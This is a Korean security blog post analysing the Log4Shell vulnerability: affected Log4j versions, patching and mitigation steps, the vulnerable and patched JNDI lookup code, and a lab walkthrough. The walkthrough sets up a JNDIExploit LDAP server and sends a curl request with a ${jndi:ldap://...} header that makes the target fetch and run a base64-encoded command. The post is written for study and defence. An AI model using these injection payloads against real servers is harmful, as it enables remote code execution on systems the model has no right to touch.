CVE-2021-44228
Apache Log4Shell 취약점에 대해 분석하고 알아보고자 합니다
1. 취약점명
- Apache Log4j 취약점 (UPDATE 2022.01.21)
- CVE-2021-44228, CVE-2021-45046, CVE-2022-23302, CVE-2022-23305, CVE-2022-23307
2. 소개
- 2021년 12월 9일, 연구원들은 여러 애플리케이션 및 서비스에서 사용되는 Java 로깅 라이브러리인 Apache Log4j의 치명적인 취약점에 대한 개념 증명(PoC) 익스플로잇 코드를 게시하였습니다.
there’s a minecraft client & server exploit open right now which abuses a vulerability in log4j versions 2.0 – 2.14.1, there are proofs of concept going around already.— ᵃᵈᵃᵐ (@twokilohertz) December 9, 2021
- iCloud, Steam, Tesla, Amazon, Apache, Twitter, Minecraft등 모두 사용되고 있는 log4j 취약점으로 원격 코드 실행이 가능한 JNDI Injection 취약점 입니다.
- 외부 디렉터리 서비스 프로토콜은 대표적으로 LDAP(Lightweight Directory Access Protocol)과 LDAPS(Secure LDAP)이 있습니다.
- 수백만 개의 애플리케이션이 로그를 위해 Log4j를 사용하고 있으며 공격자는
${jndi:ldap://attacker_domain}
해당 악성 클래스 경로를 입력 하기만 하면 공격에 성공하게 됩니다. - 해당 취약점은 CVSS v3 점수 10.0 / 10.0으로 평가 되었습니다.
(UPDATE 2022.01.21) – 모든 시스템에 대해 Apache log4j의 최신 버전(2.17.1)으로 업그레이드할 것 을 적극 권장합니다.
- 봇 스캔 활동을 하고 있으며 패치되지 않은 시스템을 찾아 악용하여 피해 사례가 발생하고 있습니다.
- WAF 장비에 ldap jndi 키워드에 대해 필터링 진행하였으나, 이를 우회 할 수 있는 기법도 등장하고 있습니다.
JNDI(Java Naming and Directory Interface)란?
자바 애플리케이션에서 외부 디렉터리 서비스에 접근하기 위한 API 이며, 원격 서버의 객체를 bind하여 애플리케이션에서 접근할 수 있는 기술입니다
Log4j 란?
Log4j는 Java/Kotlin/Scala/Groovy 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가하여 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능 입니다.
3. 영향을 받는 버전
- Log4j 2.0-beta9 ~ 2.14.1 이하 버전 CVE-2021-44228
- CVSS Score : 10.0 / 10.0 (CRITICAL)
- Log4j 2.0-beta9 ~ 2.15.0 이하 버전 CVE-2021-44228
- CVSS Score : 9.0 / 10.0 (CRITICAL)
- Log4j 1.X 버전 CVE-2021-4104
- CVSS Score : 7.5 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23302
- JMSSink를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23305
- JDBCAppender를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23307
- Chainsaw를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- 전자정부프레임워크(eGovFramework) 버전 별 Log4j 버전
- 프레임워크 버전 // Log4j 버전
- 1.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.5 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.6 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.7 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 3.0 : Log4j 2.0
- 3.1 : Log4j 2.0
- 3.5 : Log4j 2.1
- 3.6 : Log4j 2.5
- 3.7 : Log4j 2.8.2
- 3.8 : Log4j 2.10.0
- 3.9 : Log4j 2.11.2
- 3.10 : Log4j 2.12.1
- 4.0(베타) : : Log4j 2.14.0
- 프레임워크 버전 // Log4j 버전
출처 : eGovFrame
- 단, Log4j 1.x 는 해당 취약점에 영향을 받지 않습니다.
- 1.2 버전의 경우 CVE-2019-17571 다른 취약점이 존재하고 있습니다. // CVSS Score : 9.8 / 10.0 (CRITICAL)
3-1. 영향 받는 소프트웨어
- Apache Struts, Apache Solr, Apache Druid, Apache Flink, Apache Tomcat, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2, …
4. 해결 방법
현재 패치 방법으로는 7가지 방법 있으며 버전 및 라이브러리에 따라 다른 점을 참고하여 패치 하시길 바랍니다.
또한 기존 버전과 패치된 버전의 프레임워크 호환성 문제가 발생할 수 있으므로 충분히 테스트 후 작업 해주시길 바랍니다.
1.Log4j 2.15.0 패치 방법 (Java8 버전 이상 가능)
- Log4j 2.17.1을 패치 하기 위해선 Java8 버전을 사용 하여야 합니다
- Java7 버전을 사용하시는 사용자의 경우 Log4j 2.17.1 업그레이드 이전에 Java8 버전으로 먼저 업그레이드 후 진행하여야 합니다.
2. 현재 버전이 Log4j 2.10.0 ~ 2.14.1 버전
- Java7 버전을 사용하시는 사용자의 경우 Log4j 2.12.4 이상 버전으로 업데이트Java6 버전을 사용하시는 사용자의 경우 Log4j 2.3.2 이상 버전으로 업데이트Dlog4j.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 를 true로 설정합니다.
예시) java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
- JVM 매개변수를 수정 합니다.
3. 현재 버전이 Log4j 2.7.0 ~ 2.14.1 버전
log4j config파일에서 logging PatternLayout을%m -> %m{nolookups} 수정합니다.
4. 현재 버전이 Log4j 2.0-beta9 ~ 2.10.0 버전
zip –q –d log4j–core–*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
• 해당 명령어는 log4j-core.jar에서 JdniLookup 및 JdniManager 클래스 제거
5. Log4j 1.x JMSSink 사용할 경우 (CVE-2022-23305)
zip –q –d log4j–*.jar org/apache/log4j/net/JMSSink.class
5-1. Log4j 1.x JDBCAppender 사용할 경우 (CVE-2022-23307)
zip –q –d log4j–*.jar org/apache/log4j/jdbc/JDBCAppender.class
• Log4j 설정 파일에서 JDBCAppender 삭제, JDBCAppender 클래스 파일 삭제
6. 그 외 방법으로는 IPS, IDS, WAF에서 차단 정책을 설정 합니다.
snort : https://pastebin.com/qJh7DFd4
yara : https://pastebin.com/Jnx6Hxmr
suricata : https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules
5. 취약점 원인 분석
@throws NamingException if a naming exception is encountered
@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
위의 코드는 취약점을 발생시키게 한 코드이며 JndiManager.java 파일에JNDI lookup 기능에서 발견
되었습니다.
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
// In testing the "key" for attributes seems to be lowercase while the attribute id is
// camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
// to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
// the Java schema.
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
패치된 코드 참조( Apache Github )
패치가 됨으로써 변경된 사항으로는
- JNDI LDAP를 통해 역직렬화할 수 있는 class 제한
- JNDI Lookup 에서 지원되는 LDAP 서버 속성 제한
- LDAP 연결을 localhost로 제한
입니다.
5-1.취약점 상세 분석
환경 구성
- Log4Shell 취약 서버 : Ubuntu 18.04, Docker, 실습자료
- 취약 서버 IP : 192.168.48.190
- LDAP 서버 : Ubuntu 22.04, JDK 8 , JNDIExploit.jar
- LDAP 서버 IP : 192.168.38.173
- 공격자 PC : Linux
- 공격자 PC : 192.168.20.140
- Log4Shell 취약 서버를 구성 할려고 합니다.
- 아래 명령어를 입력하게 되면 컨테이너에 이미지 다운로드, 환경 구성, 실행 하게됩니다.
- Docker 설치가 완료된 상황이여야만 실행 가능합니다
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
[사진1] Log4Shell 취약 서버 구성
1-2. 정상적으로 컨테이너가 실행중이고 웹 브라우저에 Ex) 192.168.48.190:8080 입력을하게 된다면 아래 사진과 같이 뜨게 됨으로써 Log4Shell에 취약한 서버가 구성 되었습니다.
[사진2] Log4Shell 취약한 서버 웹페이지
- 다음으로는 Reverse Shell(리버스쉘)을 하기 위해 LDAP서버를 구성 할려고 합니다.
- JDK 8 버전이 설치가 완료된 상황
- JNDIExploit의 파일의 경우 악용의 소지가 있어 직접적인 공유는 불가능한 점 안내드립니다.
[사진3] Log4Shell 취약한 서버를 공격하기 위한 LDAP서버
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i LDAP서버 공인IP -p 8888
JNDIExploit 사용 하여 ex)JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.38.173 -p 8888 LDAP 서버를 실행하도록 함으로써 1389, 8888 포트를 Listening 상태로 만들었습니다.
- 이제 개인 로컬 PC에서 ex)
curl 192.168.48.190:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.38.173:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
[사진4] 공격자용 PC 에서 명령어 입력
라고 명령어를 입력 할경우 Log4Shell 취약 서버에 /tmp/pwned.txt 파일이 생성 됩니다.
curl Log4Shell취약 서버 공인IP:8080 -H 'X-Api-Version: ${jndi:ldap://LDAP서버 공인IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
[사진5] Log4Shell 취약 서버에서 생성된 파일 확인
docker exec vulnerable-app ls /tmp
base64로 인코딩 되었으며 dG91Y2ggL3RtcC9wd25lZAo= 다시 디코딩 할 경우touch /tmp/pwned.txt 를 생성한다는 의미가 되어 생성이 된 것을 확인 할 수 있습니다.
[사진6] LDAP 서버에서Log4Shell 취약 서버로 명령을 보낸 로그
- 패킷 분석
[사진7] WireShark 패킷 분석
WireShark로 패킷을 분석 한 결과 Destination IP 192.168.38.173:8888 ExploitAAAbgfs3gvS.class 를 요청하여 성공적으로 조회 된 것으로 확인 되었습니다.
- 번외
[사진8] Xmrig (lh.sh) 스크립트 파일 출처 :securityaffairs.co
[사진9] Xmrig Base64 인코딩 -> 디코딩
코인 마이너 (Xmrig, Kingsing) , DDoS 봇넷 페이로드(Dofloo, Tsunami, Mirai), Linux 랜섬웨어 등 Log4j 취약점 악용 사례가 나오고 있으므로 주의 하여주시길 바랍니다.
이상 Apache Log4Shell의 취약점에 대해 분석하여 알아보았습니다.
감사합니다.
Reference
– https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36397
– https://github.com/christophetd/log4shell-vulnerable-app
– https://www.lunasec.io/docs/blog/log4j-zero-day/
– https://nvd.nist.gov/vuln/detail/CVE-2021-45105
– https://securityaffairs.co/wordpress/125842/cyber-crime/log4j-vulnerability-aftermath.html
– https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08
'Security > CVE' 카테고리의 다른 글
Apache Sping4Shell 취약점 분석 (1) | 2024.04.25 |
---|---|
CVE-2021-44142 분석 (0) | 2024.04.25 |
CVE-2021-22205 분석 (0) | 2024.04.25 |
CVE-2020-14871 분석 (0) | 2024.04.25 |
CVE-2009-0545 분석 (0) | 2024.04.25 |